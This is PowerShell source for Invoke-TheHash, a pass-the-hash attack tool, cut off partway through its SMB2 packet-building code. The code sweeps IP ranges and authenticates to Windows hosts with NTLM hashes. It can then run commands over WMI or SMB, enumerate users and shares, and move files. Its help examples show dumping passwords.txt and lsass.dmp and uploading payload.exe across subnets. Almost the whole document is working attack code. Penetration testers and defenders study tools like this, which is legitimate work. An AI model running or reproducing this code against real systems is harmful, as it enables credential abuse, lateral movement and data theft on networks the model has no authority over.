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Invoke-TheHash.ps1
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function Invoke-TheHash
{
<#
.SYNOPSIS
Invoke-TheHash has the ability to target multiple hosts with Invoke-SMBExec or Invoke-WMIExec. This function is
primarily for checking a hash against multiple systems. The function can also be used to perform other tasks
against multiple hosts.
Author: Kevin Robertson (@kevin_robertson)
License: BSD 3-Clause
.PARAMETER Type
(SMBClient/SMBEnum/SMBExec/WMIExec) Sets the desired Invoke-TheHash function.
.PARAMETER Target
List of hostnames, IP addresses, CIDR notation, or IP ranges for targets.
.PARAMETER TargetExclude
List of hostnames, IP addresses, CIDR notation, or IP ranges to exclude form the list or targets. Note that the
format (hostname vs IP address) must match the format used with the Targets parameter. For example, if the host
was added to Targets within a CIDR notation, it must be excluded as an IP address and not a host name.
.PARAMETER PortCheckDisable
(Switch) Disable WMI or SMB port check. Since this function is not yet threaded, the port check serves to speed up
the function by checking for an open WMI or SMB port before attempting a full synchronous TCPClient connection.
.PARAMETER PortCheckTimeout
Default = 100: Set the no response timeout in milliseconds for the WMI or SMB port check.
.PARAMETER Username
Username to use for authentication.
.PARAMETER Domain
Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the username.
.PARAMETER Hash
NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format.
.PARAMETER Command
Command to execute on the target. If a command is not specified, the function will just check to see if the username and hash has access to WMI on the target.
.PARAMETER CommandCOMSPEC
Default = Enabled: SMBExec type only. Prepend %COMSPEC% /C to Command.
.PARAMETER Action
(All,Group,NetSession,Share,User) Default = Share: SMBEnum enumeration action to perform.
.PARAMETER Group
Default = Administrators: Group to enumerate with SMBEnum.
.PARAMETER Service
Default = 20 Character Random: SMBExec type only. Name of the service to create and delete on the target.
.PARAMETER Sleep
Default = WMI 10 Milliseconds, SMB 150 Milliseconds: Sets the function's Start-Sleep values in milliseconds. You can try tweaking this
setting if you are experiencing strange results.
.EXAMPLE
Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0
.EXAMPLE
Invoke-TheHash -Type SMBExec -Target 192.168.100.1-100 -TargetExclude 192.168.100.50 -Username user1 -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -domain test
.LINK
https://github.com/Kevin-Robertson/Invoke-TheHash
#>
[CmdletBinding(DefaultParametersetName='Default')]
param
(
[parameter(Mandatory=$true)][Array]$Target,
[parameter(Mandatory=$false)][Array]$TargetExclude,
[parameter(ParameterSetName='Auth',Mandatory=$true)][String]$Username,
[parameter(ParameterSetName='Auth',Mandatory=$false)][String]$Domain,
[parameter(Mandatory=$false)][ValidateSet("All","NetSession","Share","User","Group")][String]$Action = "All",
[parameter(Mandatory=$false)][String]$Group = "Administrators",
[parameter(Mandatory=$false)][String]$Service,
[parameter(Mandatory=$false)][String]$Command,
[parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$CommandCOMSPEC="Y",
[parameter(Mandatory=$true)][ValidateSet("SMBClient","SMBEnum","SMBExec","WMIExec")][String]$Type,
[parameter(Mandatory=$false)][Int]$PortCheckTimeout = 100,
[parameter(ParameterSetName='Auth',Mandatory=$true)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash,
[parameter(Mandatory=$false)][Switch]$PortCheckDisable,
[parameter(Mandatory=$false)][Int]$Sleep
)
$target_list = New-Object System.Collections.ArrayList
$target_exclude_list = New-Object System.Collections.ArrayList
if($Type -eq 'WMIExec')
{
$Sleep = 10
}
else
{
$Sleep = 150
}
for($i=0;$i -lt $target.Count;$i++)
{
if($target[$i] -like "*-*")
{
$target_array = $target[$i].split("-")
if($target_array[0] -match "\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b" -and
$target_array[1] -notmatch "\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b")
{
if($target_array.Count -ne 2 -or $target_array[1] -notmatch "^[\d]+$" -or $target_array[1] -gt 254)
{
Write-Output "[!] Invalid target $($target[$i])"
throw
}
else
{
$IP_network_begin = $target_array[0].ToCharArray()
[Array]::Reverse($IP_network_begin)
$IP_network_begin = -join($IP_network_begin)
$IP_network_begin = $IP_network_begin.SubString($IP_network_begin.IndexOf("."))
$IP_network_begin = $IP_network_begin.ToCharArray()
[Array]::Reverse($IP_network_begin)
$IP_network_begin = -join($IP_network_begin)
$IP_range_end = $IP_network_begin + $target_array[1]
$target[$i] = $target_array[0] + "-" + $IP_range_end
}
}
}
}
# math taken from https://gallery.technet.microsoft.com/scriptcenter/List-the-IP-addresses-in-a-60c5bb6b
function Convert-RangetoIPList
{
param($IP,$CIDR,$Start,$End)
function Convert-IPtoINT64
{
param($IP)
$octets = $IP.split(".")
return [int64]([int64]$octets[0] * 16777216 + [int64]$octets[1]*65536 + [int64]$octets[2] * 256 + [int64]$octets[3])
}
function Convert-INT64toIP
{
param ([int64]$int)
return (([math]::truncate($int/16777216)).tostring() + "." +([math]::truncate(($int%16777216)/65536)).tostring() + "." + ([math]::truncate(($int%65536)/256)).tostring() + "." +([math]::truncate($int%256)).tostring())
}
$target_list = New-Object System.Collections.ArrayList
if($IP)
{
$IP_address = [System.Net.IPAddress]::Parse($IP)
}
if($CIDR)
{
$mask_address = [System.Net.IPAddress]::Parse((Convert-INT64toIP -int ([convert]::ToInt64(("1" * $CIDR + "0" * (32 - $CIDR)),2))))
}
if($IP)
{
$network_address = New-Object System.Net.IPAddress ($mask_address.address -band $IP_address.address)
}
if($IP)
{
$broadcast_address = New-Object System.Net.IPAddress (([System.Net.IPAddress]::parse("255.255.255.255").address -bxor $mask_address.address -bor $network_address.address))
}
if($IP)
{
$start_address = Convert-IPtoINT64 -ip $network_address.IPAddressToString
$end_address = Convert-IPtoINT64 -ip $broadcast_address.IPAddressToString
}
else
{
$start_address = Convert-IPtoINT64 -ip $start
$end_address = Convert-IPtoINT64 -ip $end
}
for($i = $start_address; $i -le $end_address; $i++)
{
$IP_address = Convert-INT64toIP -int $i
$target_list.Add($IP_address) > $null
}
if($network_address)
{
$target_list.Remove($network_address.IPAddressToString)
}
if($broadcast_address)
{
$target_list.Remove($broadcast_address.IPAddressToString)
}
return $target_list
}
function Get-TargetList
{
param($targets)
$target_list = New-Object System.Collections.ArrayList
ForEach($entry in $targets)
{
$entry_split = $null
if($entry.contains("/"))
{
$entry_split = $entry.Split("/")
$IP = $entry_split[0]
$CIDR = $entry_split[1]
$target_list.AddRange($(Convert-RangetoIPList -IP $IP -CIDR $CIDR))
}
elseif($entry.contains("-"))
{
$entry_split = $entry.Split("-")
if($entry_split[0] -match "\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b" -and
$entry_split[1] -match "\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b")
{
$start_address = $entry_split[0]
$end_address = $entry_split[1]
$target_list.AddRange($(Convert-RangetoIPList -Start $start_address -End $end_address))
}
else
{
$target_list.Add($entry) > $null
}
}
else
{
$target_list.Add($entry) > $null
}
}
return $target_list
}
[Array]$target_list = Get-TargetList $Target
if($TargetExclude)
{
$target_exclude_list = Get-TargetList $TargetExclude
$target_list = Compare-Object -ReferenceObject $target_exclude_list -DifferenceObject $target_list -PassThru
}
if($target_list.Count -gt 0)
{
foreach($target_host in $target_list)
{
Write-Verbose "[*] Targeting $target_host"
if($type -eq 'WMIExec')
{
if(!$PortCheckDisable)
{
$WMI_port_test = New-Object System.Net.Sockets.TCPClient
$WMI_port_test_result = $WMI_port_test.BeginConnect($target_host,"135",$null,$null)
$WMI_port_test_success = $WMI_port_test_result.AsyncWaitHandle.WaitOne($PortCheckTimeout,$false)
$WMI_port_test.Close()
}
if($WMI_port_test_success -or $PortCheckDisable)
{
Invoke-WMIExec -username $Username -domain $Domain -hash $Hash -command $Command -target $target_host -sleep $Sleep -Verbose:$VerbosePreference
}
}
elseif($Type -like 'SMB*')
{
if(!$PortCheckDisable)
{
$SMB_port_test = New-Object System.Net.Sockets.TCPClient
$SMB_port_test_result = $SMB_port_test.BeginConnect($target_host,"445",$null,$null)
$SMB_port_test_success = $SMB_port_test_result.AsyncWaitHandle.WaitOne($PortCheckTimeout,$false)
$SMB_port_test.Close()
}
if($SMB_port_test_success -or $PortCheckDisable)
{
switch($Type)
{
'SMBClient'
{
$source = "\\" + $target_host + "\c$"
if($PsCmdlet.ParameterSetName -eq 'Auth')
{
Invoke-SMBClient -username $Username -domain $Domain -hash $Hash -source $source -sleep $Sleep -Verbose:$VerbosePreference
}
else
{
Invoke-SMBClient -source $source -sleep $Sleep -Verbose:$VerbosePreference
}
}
'SMBEnum'
{
if($PsCmdlet.ParameterSetName -eq 'Auth')
{
Invoke-SMBEnum -username $Username -domain $Domain -hash $Hash -target $target_host -sleep $Sleep -Action $Action -TargetShow -Verbose:$VerbosePreference
}
else
{
Invoke-SMBEnum -target $target_host -sleep $Sleep -Verbose:$VerbosePreference
}
}
'SMBExec'
{
if($PsCmdlet.ParameterSetName -eq 'Auth')
{
Invoke-SMBExec -username $Username -domain $Domain -hash $Hash -command $Command -CommandCOMSPEC $CommandCOMSPEC -Service $Service -target $target_host -sleep $Sleep -Verbose:$VerbosePreference
}
else
{
Invoke-SMBExec -target $target_host -sleep $Sleep -Verbose:$VerbosePreference
}
}
}
}
}
}
}
else
{
Write-Output "[-] Target list is empty"
}
}
function Invoke-SMBClient
{
<#
.SYNOPSIS
Invoke-SMBClient performs basic file share tasks with pass the hash. This module supports SMB2 (2.1) only with and
without SMB signing. Note that this client is slow compared to the Windows client.
Author: Kevin Robertson (@kevin_robertson)
License: BSD 3-Clause
.PARAMETER Username
Username to use for authentication.
.PARAMETER Domain
Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the
username.
.PARAMETER Hash
NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format.
.Parameter Action
Default = List: (List/Recurse/Delete/Get/Put) Action to perform.
List: Lists the contents of a directory.
Recurse: Lists the contents of a directory and all subdirectories.
Delete: Deletes a file.
Get: Downloads a file.
Put: Uploads a file and sets the creation, access, and last write times to match the source file.
.PARAMETER Source
List and Recurse: UNC path to a directory.
Delete: UNC path to a file.
Get: UNC path to a file.
Put: File to upload. If a full path is not specified, the file must be in the current directory. When using the
'Modify' switch, 'Source' must be a byte array.
.PARAMETER Destination
List and Recurse: Not used.
Delete: Not used.
Get: If used, value will be the new filename of downloaded file. If a full path is not specified, the file will be
created in the current directory.
Put: UNC path for uploaded file. The filename must be specified.
.PARAMETER Modify
List and Recurse: The function will output an object consisting of directory contents.
Delete: Not used.
Get: The function will output a byte array of the downloaded file instead of writing the file to disk. It's
advisable to use this only with smaller files and to send the output to a variable.
Put: Uploads a byte array to a new destination file.
.PARAMETER NoProgress
List and Recurse: Not used.
Delete: Not used.
Get and Put: Prevents displaying of a progress bar.
.PARAMETER Sleep
Default = 100 Milliseconds: Sets the function's Start-Sleep values in milliseconds. You can try increasing this
if downloaded files are being corrupted.
.PARAMETER Session
Inveigh-Relay authenticated session.
.PARAMETER Version
Default = Auto: (Auto,1,2.1) Force SMB version. The default behavior is to perform SMB version negotiation and use SMB2.1 if supported by the
target. Note, only the signing check works with SMB1.
.EXAMPLE
List the contents of a root share directory.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Source \\server\share -verbose
.EXAMPLE
Recursively list the contents of a share starting at the root.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Recurse -Source \\server\share
.EXAMPLE
Recursively list the contents of a share subdirectory and return only the contents output to a variable.
$directory_contents = Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Recurse -Source \\server\share\subdirectory -Modify
.EXAMPLE
Delete a file on a share.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Delete -Source \\server\share\payload.exe
.EXAMPLE
Delete a file in subdirectories within a share.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Delete -Source \\server\share\subdirectory\subdirectory\payload.exe
.EXAMPLE
Download a file from a share.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \\server\share\passwords.txt
.EXAMPLE
Download a file from within a share subdirectory and set a new filename.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \\server\share\subdirectory\lsass.dmp -Destination server_lsass.dmp
.EXAMPLE
Download a file from a share to a byte array variable instead of disk.
[Byte[]]$password_file = Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \\server\share\passwords.txt -Modify
[System.Text.Encoding]::UTF8.GetString($password_file)
.EXAMPLE
Upload a file to a share subdirectory.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Put -Source payload.exe -Destination \\server\share\subdirectory\payload.exe
.EXAMPLE
Upload a file to share from a byte array variable.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Put -Source $file_byte_array -Destination \\server\share\file.docx -Modify
.EXAMPLE
List the contents of a share directory using an authenticated Inveigh-Relay session.
Invoke-SMBClient -Session 1 -Source \\server\share
.LINK
https://github.com/Kevin-Robertson/Invoke-TheHash
#>
[CmdletBinding(DefaultParametersetName='Default')]
param
(
[parameter(Mandatory=$false)][ValidateSet("List","Recurse","Get","Put","Delete")][String]$Action = "List",
[parameter(Mandatory=$false)][String]$Destination,
[parameter(ParameterSetName='Auth',Mandatory=$true)][String]$Username,
[parameter(ParameterSetName='Auth',Mandatory=$false)][String]$Domain,
[parameter(Mandatory=$true)][Object]$Source,
[parameter(ParameterSetName='Auth',Mandatory=$true)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash,
[parameter(Mandatory=$false)][Switch]$Modify,
[parameter(Mandatory=$false)][Switch]$NoProgress,
[parameter(Mandatory=$false)][ValidateSet("Auto","1","2.1")][String]$Version="Auto",
[parameter(ParameterSetName='Session',Mandatory=$false)][Int]$Session,
[parameter(ParameterSetName='Session',Mandatory=$false)][Switch]$Logoff,
[parameter(ParameterSetName='Session',Mandatory=$false)][Switch]$Refresh,
[parameter(Mandatory=$false)][Int]$Sleep=100
)
if($Version -eq '1')
{
$SMB_version = 'SMB1'
}
elseif($Version -eq '2.1')
{
$SMB_version = 'SMB2.1'
}
if($PsCmdlet.ParameterSetName -ne 'Auth' -and $PsCmdlet.ParameterSetName -ne 'Session')
{
$signing_check = $true
}
function ConvertFrom-PacketOrderedDictionary
{
param($ordered_dictionary)
ForEach($field in $ordered_dictionary.Values)
{
$byte_array += $field
}
return $byte_array
}
#NetBIOS
function New-PacketNetBIOSSessionService
{
param([Int]$HeaderLength,[Int]$DataLength)
[Byte[]]$length = ([System.BitConverter]::GetBytes($HeaderLength + $DataLength))[2..0]
$NetBIOSSessionService = New-Object System.Collections.Specialized.OrderedDictionary
$NetBIOSSessionService.Add("MessageType",[Byte[]](0x00))
$NetBIOSSessionService.Add("Length",$length)
return $NetBIOSSessionService
}
#SMB1
function New-PacketSMBHeader
{
param([Byte[]]$Command,[Byte[]]$Flags,[Byte[]]$Flags2,[Byte[]]$TreeID,[Byte[]]$ProcessID,[Byte[]]$UserID)
$ProcessID = $ProcessID[0,1]
$SMBHeader = New-Object System.Collections.Specialized.OrderedDictionary
$SMBHeader.Add("Protocol",[Byte[]](0xff,0x53,0x4d,0x42))
$SMBHeader.Add("Command",$Command)
$SMBHeader.Add("ErrorClass",[Byte[]](0x00))
$SMBHeader.Add("Reserved",[Byte[]](0x00))
$SMBHeader.Add("ErrorCode",[Byte[]](0x00,0x00))
$SMBHeader.Add("Flags",$Flags)
$SMBHeader.Add("Flags2",$Flags2)
$SMBHeader.Add("ProcessIDHigh",[Byte[]](0x00,0x00))
$SMBHeader.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
$SMBHeader.Add("Reserved2",[Byte[]](0x00,0x00))
$SMBHeader.Add("TreeID",$TreeID)
$SMBHeader.Add("ProcessID",$ProcessID)
$SMBHeader.Add("UserID",$UserID)
$SMBHeader.Add("MultiplexID",[Byte[]](0x00,0x00))
return $SMBHeader
}
function New-PacketSMBNegotiateProtocolRequest
{
param([String]$Version)
if($version -eq 'SMB1')
{
[Byte[]]$byte_count = 0x0c,0x00
}
else
{
[Byte[]]$byte_count = 0x22,0x00
}
$SMBNegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary
$SMBNegotiateProtocolRequest.Add("WordCount",[Byte[]](0x00))
$SMBNegotiateProtocolRequest.Add("ByteCount",$byte_count)
$SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat",[Byte[]](0x02))
$SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name",[Byte[]](0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00))
if($version -ne 'SMB1')
{
$SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat2",[Byte[]](0x02))
$SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name2",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x30,0x30,0x32,0x00))
$SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat3",[Byte[]](0x02))
$SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name3",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x3f,0x3f,0x3f,0x00))
}
return $SMBNegotiateProtocolRequest
}
function New-PacketSMBSessionSetupAndXRequest
{
param([Byte[]]$SecurityBlob)
[Byte[]]$byte_count = [System.BitConverter]::GetBytes($SecurityBlob.Length)[0,1]
[Byte[]]$security_blob_length = [System.BitConverter]::GetBytes($SecurityBlob.Length + 5)[0,1]
$SMBSessionSetupAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary
$SMBSessionSetupAndXRequest.Add("WordCount",[Byte[]](0x0c))
$SMBSessionSetupAndXRequest.Add("AndXCommand",[Byte[]](0xff))
$SMBSessionSetupAndXRequest.Add("Reserved",[Byte[]](0x00))
$SMBSessionSetupAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00))
$SMBSessionSetupAndXRequest.Add("MaxBuffer",[Byte[]](0xff,0xff))
$SMBSessionSetupAndXRequest.Add("MaxMpxCount",[Byte[]](0x02,0x00))
$SMBSessionSetupAndXRequest.Add("VCNumber",[Byte[]](0x01,0x00))
$SMBSessionSetupAndXRequest.Add("SessionKey",[Byte[]](0x00,0x00,0x00,0x00))
$SMBSessionSetupAndXRequest.Add("SecurityBlobLength",$byte_count)
$SMBSessionSetupAndXRequest.Add("Reserved2",[Byte[]](0x00,0x00,0x00,0x00))
$SMBSessionSetupAndXRequest.Add("Capabilities",[Byte[]](0x44,0x00,0x00,0x80))
$SMBSessionSetupAndXRequest.Add("ByteCount",$security_blob_length)
$SMBSessionSetupAndXRequest.Add("SecurityBlob",$SecurityBlob)
$SMBSessionSetupAndXRequest.Add("NativeOS",[Byte[]](0x00,0x00,0x00))
$SMBSessionSetupAndXRequest.Add("NativeLANManage",[Byte[]](0x00,0x00))
return $SMBSessionSetupAndXRequest
}
#SMB2
function New-PacketSMB2Header
{
param([Byte[]]$Command,[Byte[]]$CreditRequest,[Bool]$Signing,[Int]$MessageID,[Byte[]]$ProcessID,[Byte[]]$TreeID,[Byte[]]$SessionID)
if($Signing)
{
$flags = 0x08,0x00,0x00,0x00
}
else
{
$flags = 0x00,0x00,0x00,0x00
}
[Byte[]]$message_ID = [System.BitConverter]::GetBytes($MessageID)
if($message_ID.Length -eq 4)
{
$message_ID += 0x00,0x00,0x00,0x00
}
$SMB2Header = New-Object System.Collections.Specialized.OrderedDictionary
$SMB2Header.Add("ProtocolID",[Byte[]](0xfe,0x53,0x4d,0x42))
$SMB2Header.Add("StructureSize",[Byte[]](0x40,0x00))
$SMB2Header.Add("CreditCharge",[Byte[]](0x01,0x00))
$SMB2Header.Add("ChannelSequence",[Byte[]](0x00,0x00))
$SMB2Header.Add("Reserved",[Byte[]](0x00,0x00))
$SMB2Header.Add("Command",$Command)
$SMB2Header.Add("CreditRequest",$CreditRequest)
$SMB2Header.Add("Flags",$flags)
$SMB2Header.Add("NextCommand",[Byte[]](0x00,0x00,0x00,0x00))
$SMB2Header.Add("MessageID",$message_ID)
$SMB2Header.Add("ProcessID",$ProcessID)
$SMB2Header.Add("TreeID",$TreeID)
$SMB2Header.Add("SessionID",$SessionID)
$SMB2Header.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
return $SMB2Header
}
function New-PacketSMB2NegotiateProtocolRequest
{
$SMB2NegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary
$SMB2NegotiateProtocolRequest.Add("StructureSize",[Byte[]](0x24,0x00))
$SMB2NegotiateProtocolRequest.Add("DialectCount",[Byte[]](0x02,0x00))
$SMB2NegotiateProtocolRequest.Add("SecurityMode",[Byte[]](0x01,0x00))
$SMB2NegotiateProtocolRequest.Add("Reserved",[Byte[]](0x00,0x00))
$SMB2NegotiateProtocolRequest.Add("Capabilities",[Byte[]](0x40,0x00,0x00,0x00))
$SMB2NegotiateProtocolRequest.Add("ClientGUID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
$SMB2NegotiateProtocolRequest.Add("NegotiateContextOffset",[Byte[]](0x00,0x00,0x00,0x00))
$SMB2NegotiateProtocolRequest.Add("NegotiateContextCount",[Byte[]](0x00,0x00))
$SMB2NegotiateProtocolRequest.Add("Reserved2",[Byte[]](0x00,0x00))
$SMB2NegotiateProtocolRequest.Add("Dialect",[Byte[]](0x02,0x02))
$SMB2NegotiateProtocolRequest.Add("Dialect2",[Byte[]](0x10,0x02))
return $SMB2NegotiateProtocolRequest
}
function New-PacketSMB2SessionSetupRequest
{
param([Byte[]]$SecurityBlob)
[Byte[]]$security_buffer_length = ([System.BitConverter]::GetBytes($SecurityBlob.Length))[0,1]
$SMB2SessionSetupRequest = New-Object System.Collections.Specialized.OrderedDictionary
$SMB2SessionSetupRequest.Add("StructureSize",[Byte[]](0x19,0x00))
$SMB2SessionSetupRequest.Add("Flags",[Byte[]](0x00))
$SMB2SessionSetupRequest.Add("SecurityMode",[Byte[]](0x01))
$SMB2SessionSetupRequest.Add("Capabilities",[Byte[]](0x00,0x00,0x00,0x00))
$SMB2SessionSetupRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00))
$SMB2SessionSetupRequest.Add("SecurityBufferOffset",[Byte[]](0x58,0x00))
$SMB2SessionSetupRequest.Add("SecurityBufferLength",$security_buffer_length)
$SMB2SessionSetupRequest.Add("PreviousSessionID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
$SMB2SessionSetupRequest.Add("Buffer",$SecurityBlob)
return $SMB2SessionSetupRequest
}
function New-PacketSMB2TreeConnectRequest
{
param([Byte[]]$Buffer)
[Byte[]]$path_length = ([System.BitConverter]::GetBytes($Buffer.Length))[0,1]
$SMB2TreeConnectRequest = New-Object System.Collections.Specialized.OrderedDictionary
$SMB2TreeConnectRequest.Add("StructureSize",[Byte[]](0x09,0x00))
$SMB2TreeConnectRequest.Add("Reserved",[Byte[]](0x00,0x00))
$SMB2TreeConnectRequest.Add("PathOffset",[Byte[]](0x48,0x00))
$SMB2TreeConnectRequest.Add("PathLength",$path_length)
$SMB2TreeConnectRequest.Add("Buffer",$Buffer)
return $SMB2TreeConnectRequest
}
function New-PacketSMB2CreateRequest
{
param([Byte[]]$FileName,[Int]$ExtraInfo,[Int64]$AllocationSize)
if($FileName)
{
$file_name_length = [System.BitConverter]::GetBytes($FileName.Length)[0,1]
}
else
{
$FileName = 0x00,0x00,0x69,0x00,0x6e,0x00,0x64,0x00
$file_name_length = 0x00,0x00
}
if($ExtraInfo)
{
[Byte[]]$desired_access = 0x80,0x00,0x10,0x00
[Byte[]]$file_attributes = 0x00,0x00,0x00,0x00
[Byte[]]$share_access = 0x00,0x00,0x00,0x00
[Byte[]]$create_options = 0x21,0x00,0x00,0x00
[Byte[]]$create_contexts_offset = [System.BitConverter]::GetBytes($FileName.Length)
if($ExtraInfo -eq 1)
{
[Byte[]]$create_contexts_length = 0x58,0x00,0x00,0x00
}
elseif($ExtraInfo -eq 2)
{
[Byte[]]$create_contexts_length = 0x90,0x00,0x00,0x00
}
else
{
[Byte[]]$create_contexts_length = 0xb0,0x00,0x00,0x00
[Byte[]]$allocation_size_bytes = [System.BitConverter]::GetBytes($AllocationSize)
}
if($FileName)
{
[String]$file_name_padding_check = $FileName.Length / 8
if($file_name_padding_check -like "*.75")
{
$FileName += 0x04,0x00
}
elseif($file_name_padding_check -like "*.5")
{
$FileName += 0x00,0x00,0x00,0x00
}
elseif($file_name_padding_check -like "*.25")
{
$FileName += 0x00,0x00,0x00,0x00,0x00,0x00
}
}
[Byte[]]$create_contexts_offset = [System.BitConverter]::GetBytes($FileName.Length + 120)
}
else
{
[Byte[]]$desired_access = 0x03,0x00,0x00,0x00
[Byte[]]$file_attributes = 0x80,0x00,0x00,0x00
[Byte[]]$share_access = 0x01,0x00,0x00,0x00
[Byte[]]$create_options = 0x40,0x00,0x00,0x00
[Byte[]]$create_contexts_offset = 0x00,0x00,0x00,0x00
[Byte[]]$create_contexts_length = 0x00,0x00,0x00,0x00
}
[String]$lease_key = [String](1..16 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
[Byte[]]$lease_key = $lease_key.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
$SMB2CreateRequest = New-Object System.Collections.Specialized.OrderedDictionary
$SMB2CreateRequest.Add("StructureSize",[Byte[]](0x39,0x00))
$SMB2CreateRequest.Add("Flags",[Byte[]](0x00))
$SMB2CreateRequest.Add("RequestedOplockLevel",[Byte[]](0x00))
$SMB2CreateRequest.Add("Impersonation",[Byte[]](0x02,0x00,0x00,0x00))
$SMB2CreateRequest.Add("SMBCreateFlags",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
$SMB2CreateRequest.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
$SMB2CreateRequest.Add("DesiredAccess",$desired_access)
$SMB2CreateRequest.Add("FileAttributes",$file_attributes)
$SMB2CreateRequest.Add("ShareAccess",$share_access)
$SMB2CreateRequest.Add("CreateDisposition",[Byte[]](0x01,0x00,0x00,0x00))
$SMB2CreateRequest.Add("CreateOptions",$create_options)
$SMB2CreateRequest.Add("NameOffset",[Byte[]](0x78,0x00))
$SMB2CreateRequest.Add("NameLength",$file_name_length)
$SMB2CreateRequest.Add("CreateContextsOffset",$create_contexts_offset)
$SMB2CreateRequest.Add("CreateContextsLength",$create_contexts_length)
$SMB2CreateRequest.Add("Buffer",$FileName)
if($ExtraInfo)
{
$SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_ChainOffset",[Byte[]](0x28,0x00,0x00,0x00))
$SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Tag_Offset",[Byte[]](0x10,0x00))
$SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00))
$SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Data_Offset",[Byte[]](0x18,0x00))
$SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Data_Length",[Byte[]](0x10,0x00,0x00,0x00))
$SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Tag",[Byte[]](0x44,0x48,0x6e,0x51))
$SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Unknown",[Byte[]](0x00,0x00,0x00,0x00))
$SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Data_GUIDHandle",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
if($ExtraInfo -eq 3)
{
$SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_ChainOffset",[Byte[]](0x20,0x00,0x00,0x00))
$SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_Tag_Offset",[Byte[]](0x10,0x00))
$SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00))
$SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_Data_Offset",[Byte[]](0x18,0x00))
$SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_Data_Length",[Byte[]](0x08,0x00,0x00,0x00))
$SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_Tag",[Byte[]](0x41,0x6c,0x53,0x69))
